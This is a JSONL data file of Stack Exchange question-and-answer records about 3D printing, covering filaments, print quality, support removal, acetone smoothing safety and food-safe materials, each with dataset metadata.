{"id": "hf_5adf3cd36976", "question": "<p>Our site has the default Stack Exchange logo (text balloon with text 3D), is it possible to change this logo?</p>\n<p>I was thinking of something like this:</p>\n<p><a href=\"https://i.stack.imgur.com/n4VXE.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/n4VXE.png\" alt=\"enter image description here\" /></a></p>\n<p>or</p>\n<p><a href=\"https://i.stack.imgur.com/w05Jd.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/w05Jd.png\" alt=\"enter image description here\" /></a></p>\n<p>If it is possible, we could try to write out a competition and vote! E.g. instead of the lines, the printed image of 3D</p>\n", "question_body": "", "answer": "Yes, we can! Or at least discuss if we like a different logo.\nFrom\nthis answer\non Meta Stack Exchange question \"\nWhat's the process to change a site logo?\n\" we can read:\nIf you have an issue with a logo on a site, the best place to start is to open a discussion on that site's meta. Tag it\ndiscussion\nand\ndesign\n, and see what the overall community feeling is.\nAnother part reads:\nCommunity managers\nmonitor per-site metas, so if/when the discussion concludes and the site's community largely supports a change, they can bring your concerns to the design team.\nThere is no specific mention if Beta state sites can modify the logo, Beta sites share the smae layout set out by the Stack Exchange designers:\nOur designers come up with the overall site design (including the logo), with some input from the communities. (With the exception of sites that are still in beta or have only recently graduated - those all share the same design.)\nHowever, we can start a discussion whether we would like to have a different logo/favicon. Feel free to add your thoughts ans an aswer to the question.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:41.255175"}
{"id": "hf_51ac1153210f", "question": "<p>When I've printed an object I've had to choose between high resolution and quick prints.  What techniques or technologies can I use or deploy to speed up my high resolution prints?</p>\n", "question_body": "", "answer": "You could experiment with slicing. For example, you might not need high resolution all over the object, but you can speed up some straight parts by using greater layer high there. See a\npart of Slic3r manual\nabout such thing.\nIt is also possible to print thicker infill every Nth layer, see\nInfill optimization\nin Slic3r.\nOther slicers might have those features as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:41.640418"}
{"id": "hf_a391a037e131", "question": "<p>I would like to buy a 3D printer, but I'm concerned about the health risks that are associated with its operation. Some groups of scientists say it can be <a href=\"http://www.techworld.com/news/personal-tech/scientists-warn-of-3d-printing-health-effects-as-tech-hits-high-street-3460992/\">harmful</a> for humans.</p>\n\n<p>What do I need to consider before buying a 3D printer if I care about my health? Are there any safe printers?</p>\n", "question_body": "", "answer": "Almost all 3D printers have issues that could cause health problems.\nFDM/FFF printers heat plastic to a temperature that may cause it to off-gas, and these byproducts may not be healthy.\nSLA printers often use epoxies that may off-gas, or may be somewhat toxic prior to being cured.\nPowder based printers can also off-gas, in addition to the powder itself presenting a possible hazard.\nMany hobbyist and small companies dance around the problem, and suggest that the machines always be used in well ventillated areas.  Professional machines often have filters and ventillation systems built in.\nRather than trying to find a \"perfectly safe\" 3D printer, spend some time deciding what you want to use one for, find printers suitable for your use, and expect that you'll need to provide reasonable ventilation for almost any printer.  Plan your installation for that, and you should be able to make any printer safe for your required use.\nIf, however, you plan on setting up a printer farm with many printers, and plan to have yourself or others spend significant time operating them, I suggest you work with a health and safety professional and have them identify possible hazards and plan mitigation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:41.680042"}
{"id": "hf_9249e3070086", "question": "<p>I know the minimum layer height will effect how detailed of an item you can print and the amount of time it takes to print something, but is it necessary to have an extremely low minimum layer height if you plan to print only larger objects?</p>\n", "question_body": "", "answer": "As with any manufacturing process, you'll need to learn to \"use the right tool for the job\". It depends on the requirements of the part. To answer your question, I would suggest using a larger layer height for the sheer fact of reducing print time on larger objects.\nHowever, it depends on the part and how small the details are on the part. If your part has sharp edges that are required for the proper functionality of the part, then you'll want to use a smaller layer height. Or if your part fits into another part, you'll probably want to use a smaller layer height.\nAnother variable might be whether or not post-processing is necessary. Is this part going to be purposefully printed larger/rougher with the idea to use a Dremel later to smooth everything out? If yes, then use a larger layer height.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:41.704744"}
{"id": "hf_e103c24680a2", "question": "<p>Plastic is used in 3D FDM/FFF printing partly because it had a wide temperature range for its glass state - where it can be flowed with some force, but won't flow due only to gravity.</p>\n\n<p>Most metals have a very narrow, or non-existant, glass state.  They transition from solid to liquid with almost no flowable-but-not-liquid state.</p>\n\n<p>Are there any metals or alloys that display a glass transition state?</p>\n", "question_body": "", "answer": "I\"m no expert on this, but the article at\nhttps://en.wikipedia.org/wiki/Amorphous_metal\nmay be relevant for you.\nThere are some special alloys, such as gold/silicon and various titanium-based ones, that become \"bulk metal glasses\" if cooled extremely quickly (for example, by sputtering onto a spinning cold surface). The speed of cooling prevents crystal formation. Early BMGs were quite strong but brittle; improvements have reduced brittleness and required cooling speed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:41.729739"}
{"id": "hf_774598d6b5a8", "question": "<p>What are the main differences when using ABS over PLA and vice versa?</p>\n", "question_body": "", "answer": "Paraphrasing\nthis\nsite. Feel free to add suggestions in the form of comments and I will try to incorporate them.\nSummary\nABS: Stronger, machinable, more flexible, and more temperature\nresistant than PLA. Typically printed on a heated bed. Warping is a common problem when printing ABS.\nPLA: Wider range of filaments available, easier and in some cases faster to print. Not as strong as ABS and the fact that its biodegradable could be seen as both a benefit and a drawback.\nMaterial Properties:\nABS: Strong plastic with mild flexibility. Naturally beige in color. Can be filled and sanded. Higher temperature. Easy to recycle.\nPLA: Not as strong as ABS but more rigid. Naturally transparent. More difficult to fill and sand. Can sag in hot temperatures. Sourced from organic matter so it can be broken down in commercial compost facilities.\nPart Accuracy:\nABS: Part warping is a significant issue. Sharp corners will often be rounded.\nPLA: Less heat required contributes to less warping. Becomes more liquid at common extruder temperatures so finer details can be printed.\nSafety and Handling:\nABS: Strong burning/melting plastic smell is present when printing ABS. Health concerns have been raised regarding airborne ultrafine particles generated while printing with ABS (\nref\n). ABS will absorb moisture causing popping when the moisture enters the hot end. This leads to discontinuities in the print job.\nPLA: Doesn't smell as strongly when printing due to its organic nature. Moisture can also be absorbed into PLA and can irreversibly damage it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:41.754207"}
{"id": "hf_0b92071233d4", "question": "<p>My MakerBot printer supports only two filaments at the same time.</p>\n\n<p>What are techniques to print objects with more than two colors for one object?</p>\n", "question_body": "", "answer": "The most obvious solution is to pause the print and swap filament for another color.\nAnother option is to\nsplice pieces of filament\ntogether, though this does not allow very precise control of when the switch happens. There is also a device that can automatically slice filament this way.\nFinally, another option that uses very little external equipment is to\nuse (permanent) markers to colorize light-colored filament\n.\nOther options include upgrading to a printer with more hotends, or installing a hotend with multiple filament inputs and one outputs, but these options would involve significantly changing your printer setup.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:41.779568"}
{"id": "hf_26b4de0c40fa", "question": "<p>I'd like to print modifications for my bird feeder, both to patch over the hail damage from last summer and to try to deter the neighborhood squirrels.  I have an FDM printer (and experience with nylon, ABS, and PLA, though don't restrict answers to those if there's something else that's better), what kind of filament would stand up best to daily exposure to sun, rain, snow, etc?</p>\n", "question_body": "", "answer": "PET(G) is a strong contender. It is very strong and water-resistant, and as such is often used to make pop bottles.\nPLA has a reputation for being \"biodegradable\" and therefore it is often discouraged to use PLA outside and/or in contact with water. However, PLA only biodegrades under very specific conditions which it won't generally be exposed to so it can be used (though, as a harder and less flexible material it is more likely to be damaged by hail).\nABS and Nylon are good choices as well. Basically, any plastic you have on hand will last for years, even in an outside application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:41.803655"}
{"id": "hf_aa09eb79bd6d", "question": "<p>The surfaces of my printed parts using PLA plastic look rough and uneven.</p>\n\n<p>Would changing filament to a better one make any difference?</p>\n\n<p>If not, what kind of methods can I use to achieve a smoother finish for my for 3D-printed objects?</p>\n", "question_body": "", "answer": "It is called\nAcetone Finishing\nBasically the 3D printed part stays in acetone vapor and the outer shell turns to smooth surface. I have heard that it works better with ABS.\nThis article shows how\nwith videos\n:\n(\nAcetone Finishing on PLA\n- dead link).\nNew link:\nAcetone Finishing on PLA", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:41.827897"}
{"id": "hf_b8166691ad8d", "question": "<p>With an ABS or PLA extrusion 3D printer, are there any potentially negative quality differences that could occur if I try to print at a higher resolution?</p>\n\n<p>I am not concerned about print time as the equipment is not under high demand.  I am, however, worried the device may be more prone to fracture, likely to have defects, or have other issues I cannot currently imagine.</p>\n", "question_body": "", "answer": "The biggest effect I've see on resolution is due to plastic stress due to thermal gradients.\nThe higher resolution prints build up more layers of material, and each layer has a cumulative effect on thermal stress.  The upper layers pulling up more as they cool, and the lower layers curling up more strongly as the layer count is increased.\nTo counteract this, a heated (or even just a draft free) enclosure makes a big difference.  Having a heated print bed helps significantly, as long as the bed itself resists deformation (a sheet metal or PCB bed will bend more than glass under the same tension, for instance).\nThe actual plastic strength, however, appears increased.  Laying down thinner layers of material appears to increase the bond strength between layers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:41.852489"}
{"id": "hf_77ac9a8e2804", "question": "<p>I would like to print parts (e.g. jewellery) for use which I don't want to look or feel like a plastic, but metal-like, so briefly people won't see much difference.</p>\n\n<p>Are there any specific type of home-printers that can achieve that? Or it's rather kind of filament that you should use?</p>\n", "question_body": "", "answer": "If you'd like to print on RepRap like\nFDM printers\n, you cannot print from metal, but you can use some filament that tries to look like metal. I have good experience with\nBronzefill\n, but there are plenty of others, just Google for\nmetal filament 3d printing\n. Note that sometimes the parts need to be post-processed with a\nrock tumbler\n. There are\nseveral open source DIY tumblers\nyou can build and use.\nIf you actually want to print from metal, you would need SLS (\nSelective laser sintering\n) printer, which is much more expensive.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:41.876786"}
{"id": "hf_e1ed6f17a9dd", "question": "<p>My printed parts consist rafts, supports and other extraneous filament when printing with ABS or PLA.</p>\n\n<p>What are efficient general techniques of removing them?</p>\n", "question_body": "", "answer": "The best way to get rid of them is to change the design of the printed object to make them unnecessary.\nInstead of printing the one part with support material, the piece can be split into two or more parts which can be printed without support material and assembled after the printing.\nGiven that this is not always fully possible, a convenient way to get rid of additional structures is to use a different fillament for them that can be removed easily.\nThis list of printing materials\nincludes Polyvinyl Acetate (\nPVA\n), which is water soluble. You can wash the support material away given that your actual printign material is not water soluble. Here's a quote from the website (emphasize mine):\nPVA (Polyvinyl Acetate) filament prints translucent with a slightly yellow tint and is\nprimarily used as a 3D printing support material\nbecause it is water-soluble, meaning that\nit will dissolve when exposed to water\n(and so MUST be kept dry prior to use). PVA is most often used with 3D printers capable of dual extrusion: one extruder printing a primary material (such as ABS or PLA) and the other printing this dissolvable filament to provide support for overhanging features. PVA 3D printer filament is available in 1.75mm and 3mm.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:41.913991"}
{"id": "hf_40f495b2fd4e", "question": "<p>I would like to understand the differences between rafts, skirts and brims. They appear in the software which I'm using to edit my 3D objects.</p>\n\n<p>Can anybody elaborate what are these and what are the main differences between them?</p>\n", "question_body": "", "answer": "All three of these features are used to improve the quality and success rate of prints, especially those failing due to issues on the first few layers, or due to the small size of the first layer.\nRaft\nA raft is a horizontal feature made as the first few layers of a print, and is used to help with bed adhesion issues, primarily used with ABS. The first few layers printed are the brim (typically prismatic), with the part itself on top of it (with a small separation distance to aid in separation, to allow the part to be removed from the raft). This separation distance needs to be adjusted to allow the first layer of the actual part to adhere, but also for the raft to be removed easily.\nSkirt\nA skirt is a single-layer feature designed to help extruder priming and to establish a stable filament flow for an optimal first layer. They are generally a few passes around the first layer \"footprint\" in the rough shape of the first layer, but they do not touch the part itself or help adhesion directly (although having a primed and ready extruder helps extrusion on its own).\nBrim\nA brim can be considered a skirt touching the first layer shape. It is used to help adhesion, and increases the first layer surface area (thus having more area to adhere to the bed). Brims are best used for parts with small first layers that fail to adhere properly. They are generally done as perimeters (as opposed to the crosshatching of infill) to be easily removable without damaging the part.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:41.938343"}
{"id": "hf_d4cfa6e695ef", "question": "<p>There is a 3D desktop printer <a href=\"https://en.wikipedia.org/wiki/RepRap_project\">RepRap</a> which can print most of its own components.</p>\n\n<p>Assuming each printed printer will print the next one and so on. Are there any limitation how many times this can be achieved?</p>\n\n<p>For example somebody printed for me printer and I do the same for my friends and they do the same for theirs. Can this go forever (since 3D model stays the same), or there are any serious side-effects/disadvantages of doing that continuously?</p>\n", "question_body": "", "answer": "As long as you maintain each printer and keep a proper calibration, go for it, this is what they were designed to do, I've even made replacement parts for myself.\nUnfortunately the\nRepRap project just shut down on 1/15/16\ndue to their lack of sales.\nI have a reprap that came from a reprap, and has made another reprap.\nJust make sure that when printing out the pieces for the next you are properly calibrated, otherwise the next machine might be built crooked;\nYour only limitations will be the electronics pieces and the small amount of hardware that you will need to buy.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:41.975036"}
{"id": "hf_140eaae64305", "question": "<p>I have a few kg of 3&nbsp;mm filament when I only have use for 1.75&nbsp;mm.</p>\n\n<p>How can I make 1.75&nbsp;mm from 3&nbsp;mm filament?</p>\n", "question_body": "", "answer": "The best option is to find somebody in need of 3 mm filament and trade them for it (either in exchange for 1.75 mm filament or in exchange for legal tender with which to buy said filament).\nThe next best option would be to cut it into small pieces, and feed those into a filament extrusion system such as the\nfilastruder\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:42.011784"}
{"id": "hf_a1d6f425e3c3", "question": "<p>I am printing a print using PLA on a Prusa i3 printer and an MK8 extruder, at 210 degrees celsius, 60 mm/sec, sliced with slic3r. The print consists of a base, with 4 tower-like projections that then join with a near-vertical overhang slope that isn't posing a problem for my printer.</p>\n\n<p>However, even before the overhang begins, I am getting large amounts of strings as the extruder head jumps between the four towers in the print, leading to a \"spiderweb\" effect between them. How can I deal with these strings, and are they a warning that there might be something amiss with my printer, or possible other failures in other parts of the print?</p>\n", "question_body": "", "answer": "Stringing is often a result of too-high a temperature, or insufficient retraction. When there is highly liquid filament in the nozzle tip, it can adhere to the remainder of the print while dripping as the nozzle moves, leading to a thin string of the filament forming. As further travel moves are performed in each layer, this turns to a web.\nThe high temperature causes filament to be very liquid, causing it to move downward in the nozzle chamber easily, as opposed to having to be extruded forcefully due to viscosity. The temperature setpoint of 210 was high enough to cause this to happen.\nA second possible cause, insufficient retraction, can also be blamed for this issue. Retraction is a process in which the extruder reverses its movement to pull filament back up the hotend, preventing it from dripping at the tip, and forming a string. Most slicers will allow specifying a numeric value in millimeters of filament to be retracted. Remember that printers with Bowden tubes between nozzle/hotend and extruder motor will require increased retraction and priming (extrusion when starting to print after a retract-and-move). Note that too much retraction can cause other problems, such as insufficient plastic in the hotend chamber at the start of the next printing move, which can cause gaps and other issues.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:42.039624"}
{"id": "hf_173babba0e8e", "question": "<p>I want to print a model of an animal cell.</p>\n\n<p>What I have so far: I managed to use different colors to print out the different parts of the cell.<br>\nMy question is: what is the best way to connect plastic 3d printed parts?<br>\nGlue? Melted plastic? I need it to have a strong connection and not very visible when used well, and preferable dries fast.</p>\n", "question_body": "", "answer": "For ABS print, I recommend\nacetone\n. It is not a glue, but it will dissolve the plastic a bit and if you apply it to both connecting parts and push them together, they will stay connected after the acetone dries. However, it does not dry very fast and you have to be careful not to destroy the object.\nFor PLA I usually use regular super glue (\nCyanoacrylate\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:42.063865"}
{"id": "hf_c8dce9b30508", "question": "<p>Is it possible to re-use ABS or PLA filament material from printed parts?</p>\n\n<p>If so, what is the techniques to reform it?</p>\n", "question_body": "", "answer": "There are a few options.\nMachines are available which grind the used plastic into fine pieces, melt it down, and extrude it as filament to be reused.\nFilabot\nis perhaps the most well known.\nDepending on where you live the local recycling programs may accept PLA or ABS. They will then shred it and melt it down for reuse.\nPLA is bio-degradable so you can put it in the compost.\nI put scrap ABS in acetone which results in a slurry which can be used as a glue to attach ABS parts, fix cracks, and hold parts to the bed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:42.091726"}
{"id": "hf_ab25d993f1c3", "question": "<p>I made a test print for a small gear (~ 1.5 inches in diameter) a few months ago, with a hole through the center. On the first try, the filament (ABS) fused to the print bed, meaning that I had to spend ten minutes scraping off material to loosen it. One solution to this is to use painter's tape spread across the print bed.</p>\n\n<p>This yielded a good print during the next run. The problem with this method was that some of the tape subsequently fused to the backside of the gear; it was so tight that I had to discard the prototype. Multiple varieties of tape made no difference.</p>\n\n<p>Is there a way to continue using this tape without having it fuse to the filament?</p>\n", "question_body": "", "answer": "This can highly depend on the slicer you are using. Some software such as Makerware and Slic3r allow you to adjust the settings for the first raft/part layers. I might suggest adjusting this \"Z0\" point to about 1/4-1/2 of your layer height. Essentially the first layer (or two) will not adhere as well.\nThis is just one suggestion of many solutions. Here are some other variables I could think of off-hand:\nType of build plate tape (ie masking, painters, kapton, etc.)\nType of material. I've noticed that PLA is very stubborn if you let the part completely cool after printing and that it's much easier to remove the part from the build plate/raft right after it's complete.\nType of build plate. Are you applying too much heat (if you have a heated bp) for the material such as PLA?\nTry lowering your layer height. This will ensure that each strand does not have too much surface area and therefore less chance that it will create a vacuum affect with the build plate. This can, however, result in a worse surface finish.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:42.140737"}
{"id": "hf_8ec56ddda03f", "question": "<p>Acetone can be used to smooth ABS prints.  What safety precautions should be taken during its use?</p>\n", "question_body": "", "answer": "There are a few main safety precautions you should consider.\nMake sure the area is well-ventilated.\nAcetone is flammable. A buildup of acetone gas could quickly get concentrated, meaning that a single spark could lead to disaster. Using a fan is good; angle it towards an open window. This is also to prevent exposure to acetone because of its toxicity.\nBe prepared to fight a fire.\nShould vapor ignite, you may need to fight the fire. If it is large enough, then you should clearly evacuate the area. If it appears to be small, use dry chemical powder to snuff out the fire. Alcohol foam, water spray, and/or fog may be used on slightly larger fires. Acetone is not likely to cause a large inferno to rip through the building. But there's always the chance of a small fire. Be careful.\nCreate a vapor chamber.\nThis is another way to stop a potential fire from spreading. It can also reduce contamination.\nWear gloves.\nThis can minimize any potential transfer toxic effects. However, skin exposure is unlikely to cause major issues.\nAcetone is toxic, as I mentioned before, but it is not highly toxic. Exposure via\nthe eyes and nose/mouth\nis the main risk. Skin effects may occur (e.g. mild irritation), but they are minor and generally arise only after long-term exposure (hence the recommendation of gloves in some cases).\nAcetone exposure is only a serious problem when a person is repeatedly exposed to levels\ngreater than 1,000 ppm\n(severe effects only arise at much higher levels). It seems unlikely, given a proper ventilation system, that this will be an issue\nIn addition to all this, basic safety precautions such as wearing a ventilator mask and goggles should definitely be taken. When working with any such chemicals with the potential for bodily harm, these should absolutely be used.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:42.165639"}
{"id": "hf_1d2ccddebc18", "question": "<p>I would like to print multiple parts continuously (non-interactively), so\nI can leave the printer alone for a longer time. So after finish, parts could be moved somehow out from the printing area, so the next can start.</p>\n\n<p>Are there any methods of achieving that with standard desktop printers without having to use multiple printers?</p>\n", "question_body": "", "answer": "The only thing I can think of off hand is an old mod for the early MakerBot machines. It first was released for the Thing-O'-Matic I believe, but is compatible with Replicator 1 machines (and its knock-offs). Here's the\nThingiverse page\n, but look up Automatic Build Plate.\nEssentially, you can use the Replicator G slicing program and there is a setting for \"ABP\" or Automatic Build Plate. This will basically tell the ABP to run its routine after the controller receives the response that the printing program is done and roll the finished part off the edge of the build plate, then start the same program over again.\nDrawbacks:\nI don't think it's easily compatible with newer machines/slicers. But, it's open source\nPretty sure you have to use Replicator G, which is outdated now and may make your machine sound like it's going to fall apart (I know from experience)\nGoing off of @Pete's answer about solenoids. It reminded me that someone integrated a\nsolenoid \"ejector\"\n(aka Boxing Glove) for their machine.\nUpdate (06/08/2016):\nForgot to mention that if you choose to create your own \"Boxing Glove\" or conveyor belt, some software such as Octo-Pi and Repetier-Host allow plugins. So, you could interface with your hardware via customized code and integrate the functionality directly into the slicing application for the full closed loop operation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:42.190300"}
{"id": "hf_b63311ab7b1a", "question": "<p>For standard ABS and PLA filament, most distributors recommend storing the filament in an airtight bag.  Does not doing this actually make print quality worse?  I have left mine in the open for a year and have had no noticeable problems.</p>\n", "question_body": "", "answer": "Humidity may be the problem.\nHumidity tends to degrade filament, making it weaker.\nIf you leave a coil of filament out, over time it will be exposed to humidity. I have yet to hear of this happening over a short period of time - the real threat comes if you leave it out for weeks or months - but it can happen nonetheless.\nContamination with other materials is possible but unlikely. The odds of some sort of impurity developing from nearby particles is extremely low unless the filament is actively exposed to some other material.\nIn most cases, though, things should be just fine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:42.215144"}
{"id": "hf_679a7a2ba2f6", "question": "<p>I want to fabricate a sample holder and shadow masks to use in vacuum chambers. The type of printing material is not important to me PLA/ABS/PC-ABS/nylon).</p>\n\n<p>I'm worried that 3d printed objects (FDM) would degas under high vacuum. Is that an actual concern?</p>\n", "question_body": "", "answer": "Almost all of the FDM materials outgas even at normal atmospheric pressure, and, in fact, most plastics outgas.  Further, FDM and many other printing processes do not guarantee no internal voids - meaning that putting a 3D printed object into a vacuum may result in breakage, cracking, and possible explosion hazards.\nFor this reason I would focus only on SLA, as the model is printed within the liquid resin pool and should have a reduced possibility of internal voids.\nFinding a resin that has a low out-gas rate after curing, though, is still going to be difficult.\nFor this to be answered more completely, you need to specify your tolerable outgassing rate, and the processes used inside the vacuum chamber.  For instance the answer would be completely different if you are discussing an electron microscope vs a sputtering chamber. As a start you might consider companies that specialize in\nengineered materials intended for vacuum use\n. They may be able to provide guidance as to which of their materials might be 3D printed and usable in your setup.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:42.239839"}
{"id": "hf_4293e4ecfa70", "question": "<p>Assuming you have a high quality printer with a fast processor, will you see a noticeable improvement by upgrading from 16X/32X microstepping drivers to 64X/128X microstepping drivers? (e.g. smoother surface finish).  In what ways do they perform differently from the more common 16X or 32X stepper drivers.  I'm thinking the RAPS128, Silencioso, and Trinamic drivers vs the DRV8825, A4988 and A4988.</p>\n", "question_body": "", "answer": "Prints benefit from higher microstepping in two ways:\nNoise level\nUsing microstepping reduces noise from your printer's operation.\nPrint quality\nUsing higher resolution microstepping does not increase the physical accuracy of your prints meaningfully, but it can reduce surface artifacts such as\nmoire\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:42.303491"}
{"id": "hf_01f0079919e4", "question": "<p>What materials which are <a href=\"http://www.shapeways.com/materials/\">commonly used in 3D printing</a>, are food-safe?</p>\n\n<p>Are there any certifications/grading process for such materials, which can help me with my cross-checking and selection?</p>\n\n<hr>\n\n<p>I have been using an <a href=\"https://en.wikipedia.org/wiki/Fused_deposition_modeling\">FDM printer</a>.</p>\n", "question_body": "", "answer": "Food safety is a property of both the process and the material. You can't stick food-safe material in a printer that has previously been used to print something food-dangerous and expect the result to be food safe.\nThe only way to know if a given material is food-safe is to ask your supplier, but a lot depends on how you then process it. For instance, FDM printers often have brass nozzles, which contain lead. To print food-safe materials, you need to use a stainless steel nozzle.\nFood safe materials can be identified by mean of\nan universal symbol\n.\nMoreover, to ensure food-safety of a 3D printed model you may need to further process it (for instance, by vapor smoothing or coating with a food-safe lacquer). Some claims circulate on the internet that 3D printed models may have surface porosity in which bacteria can grow, but I've not been able to find a reliable source for this claim. Still, you need to be cautious.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:42.340678"}
{"id": "hf_9adb1fb55ff1", "question": "<p>Suddenly, my printer has started producing prints that have a very pronounced layering. Normally, the alignment between layers is very good, and the prints look very smooth. Suddenly, the prints have become much worse and the layers are misaligned with respect to each other.</p>\n\n<p><a href=\"https://i.stack.imgur.com/MgWVx.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/MgWVx.png\" alt=\"enter image description here\"></a></p>\n\n<p>The part on the left is my \"normal\" quality, while the part on the right show the deterioration. Here is another picture (in which the good part is on the right):</p>\n\n<p><a href=\"https://i.stack.imgur.com/c1I5Q.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/c1I5Q.png\" alt=\"enter image description here\"></a></p>\n\n<p>The parts are both printed with 0.1mm layer height, and identical slicer settings/filament. I am printing on a custom-built FDM printer; the mechanism is roughly similar to that of an Ultimaker.</p>\n", "question_body": "", "answer": "There are many factors, here are a few things to check:\nI'd first suspect filament feeding.  This type of ridging can be caused by a filament coil that is binding occasionally, or a filament that doesn't have an even diameter or volume per length.  Binding within the filament feeder and feeder tubes can also be a cause. Bubbles in the filament, or sometimes a mismatch between the filament ideal temperature and the head temperature could create results like this, but it probably wouldn't vary so much between the layers.\nNext I'd look at the print head.  If it has blockages, or poor temperature control this could result.\nLastly, I'd check the mechanisms - disconnect the motors and see if all the carriages slide smoothly without any binding, particularly the Z axis.  It doesn't look like you're missing steps, but binding here may result in greater backlash, which could result in similar ridges. Make sure any belts and gears are tight.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, 